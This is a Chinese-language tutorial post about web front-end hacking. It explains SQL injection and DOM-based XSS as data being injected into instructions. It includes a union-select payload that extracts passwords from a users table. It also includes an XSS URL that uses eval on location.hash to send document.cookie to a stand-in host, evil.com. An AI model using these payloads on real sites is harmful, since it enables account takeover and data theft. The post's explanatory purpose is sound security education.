热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

web前端黑客技术之数据与指令【sql注入、xss跨站脚本攻击】

首先,我们知道,用浏览器打开一个网站,呈现在我们面前的都是数据,服务器端存储的(数据库,内存,文件系统等)、客户端存储的(本地Cookies,flashCookies等),传输中的(json数据,和xml数据等,)还有文本数据等等。而在这些数据的交换过程中,如果出现数据流被污染了,就会出现非预期的出存储和传输,导致安

首先,我们知道,用浏览器打开一个网站,呈现在我们面前的都是数据,服务器端存储的(数据库,内存,文件系统等)、客户端存储的(本地COOKIEs,flash COOKIEs等),传输中的(json数据,和xml数据等,)还有文本数据等等。

而在这些数据的交换过程中,如果出现数据流被污染了,就会出现非预期的出存储和传输,导致安全风险。


而存储,传输并呈现这些数据的时候,需要执行指令,指令简单的说就是要执行的命令行。而不同的指令的解释执行则由对应的环境完成,如:

select username,email,descl from users where id=1

这条mySql指令在数据库引擎环境中被解释,然后产生查询对于的数据。


当正常的数据内容被注入指令内容,在解释的过程中,如果注入指令能够被独立执行,那么攻击就发生了 

【1】SQL注入攻击的发生

select username,email,desc1 from users where id=1;
正如我们所看到的,这条sql语句中id的值是来自用户提交,并且用户通过访问链接来获取自身的帐号信息。当用户访问这样的连接时,后端便触发执行上面的查询语句,并返回对应的id号的用户数据给前端显示。一般情况下,铍铜的用户对id提交整形数值,而邪恶的攻击者会提交如下列形式的值

1 union select password,1,1 from users
组成的链接形式:

http://www.foo.com/user.php?id=1 union select password,1,1 from users

组成的SQL语句为:

select username,email,desc1 from users whrere id=1 union select password,1,1 from users

XSS跨站脚本攻击的发生


这里eval内置函数可以动态执行js语句,而location.hash()获取的是链接及URL中#及其后面的内容,如 ````.foo.com/info.html#callback。获取的十九#callback,而substr是用于截取字符,也就是#好后面内容。

而在这里,我们可以构建一个这样的攻击:

http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea.1.php?c="+escape(document.COOKIE)

而在浏览器解析
eval(location.hash.substr(1));
则会变为

eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.COOKIE)')

而当被攻击者被诱骗访问了该连接时,COOKIEs会话信息就会被盗取到黑客的网站上,一般情况下,黑客利用该COOKIEs可以登录被攻击者的帐号,并进行越权操作。



【补充】

跨站攻击是发生在浏览器客户端,而SQL注入由于针对的对象是数据库,一般情况下,数据库都在服务端,而HTML5提供了一个i额客户端存储几只,在浏览器段,使用SQLite数据库保存客户端数据,该几只允许使用js脚本操作SQL语句,从而本地化数据库进行交互 




推荐阅读
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
  • 本文详细介绍了如何通过多种编程语言(如PHP、JSP)实现网站与MySQL数据库的连接,包括创建数据库、表的基本操作,以及数据的读取和写入方法。 ... [详细]
  • MySQL 数据库迁移指南:从本地到远程及磁盘间迁移
    本文详细介绍了如何在不同场景下进行 MySQL 数据库的迁移,包括从一个硬盘迁移到另一个硬盘、从一台计算机迁移到另一台计算机,以及解决迁移过程中可能遇到的问题。 ... [详细]
  • 根据最新发布的《互联网人才趋势报告》,尽管大量IT从业者已转向Python开发,但随着人工智能和大数据领域的迅猛发展,仍存在巨大的人才缺口。本文将详细介绍如何使用Python编写一个简单的爬虫程序,并提供完整的代码示例。 ... [详细]
  • 本文详细介绍了如何在Linux系统上安装和配置Smokeping,以实现对网络链路质量的实时监控。通过详细的步骤和必要的依赖包安装,确保用户能够顺利完成部署并优化其网络性能监控。 ... [详细]
  • 本文深入探讨 MyBatis 中动态 SQL 的使用方法,包括 if/where、trim 自定义字符串截取规则、choose 分支选择、封装查询和修改条件的 where/set 标签、批量处理的 foreach 标签以及内置参数和 bind 的用法。 ... [详细]
  • 解决PHP与MySQL连接时出现500错误的方法
    本文详细探讨了当使用PHP连接MySQL数据库时遇到500内部服务器错误的多种解决方案,提供了详尽的操作步骤和专业建议。无论是初学者还是有经验的开发者,都能从中受益。 ... [详细]
  • 本文介绍如何使用阿里云的fastjson库解析包含时间戳、IP地址和参数等信息的JSON格式文本,并进行数据处理和保存。 ... [详细]
  • 网络运维工程师负责确保企业IT基础设施的稳定运行,保障业务连续性和数据安全。他们需要具备多种技能,包括搭建和维护网络环境、监控系统性能、处理突发事件等。本文将探讨网络运维工程师的职业前景及其平均薪酬水平。 ... [详细]
  • Hadoop入门与核心组件详解
    本文详细介绍了Hadoop的基础知识及其核心组件,包括HDFS、MapReduce和YARN。通过本文,读者可以全面了解Hadoop的生态系统及应用场景。 ... [详细]
  • 本文详细介绍了 MySQL 中 LAST_INSERT_ID() 函数的使用方法及其工作原理,包括如何获取最后一个插入记录的自增 ID、多行插入时的行为以及在不同客户端环境下的表现。 ... [详细]
  • 本文详细探讨了JDBC(Java数据库连接)的内部机制,重点分析其作为服务提供者接口(SPI)框架的应用。通过类图和代码示例,展示了JDBC如何注册驱动程序、建立数据库连接以及执行SQL查询的过程。 ... [详细]
  • 基于KVM的SRIOV直通配置及性能测试
    SRIOV介绍、VF直通配置,以及包转发率性能测试小慢哥的原创文章,欢迎转载目录?1.SRIOV介绍?2.环境说明?3.开启SRIOV?4.生成VF?5.VF ... [详细]
  • 解决JAX-WS动态客户端工厂弃用问题并迁移到XFire
    在处理Java项目中的JAR包冲突时,我们遇到了JaxWsDynamicClientFactory被弃用的问题,并成功将其迁移到org.codehaus.xfire.client。本文详细介绍了这一过程及解决方案。 ... [详细]
author-avatar
gigi-dd
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有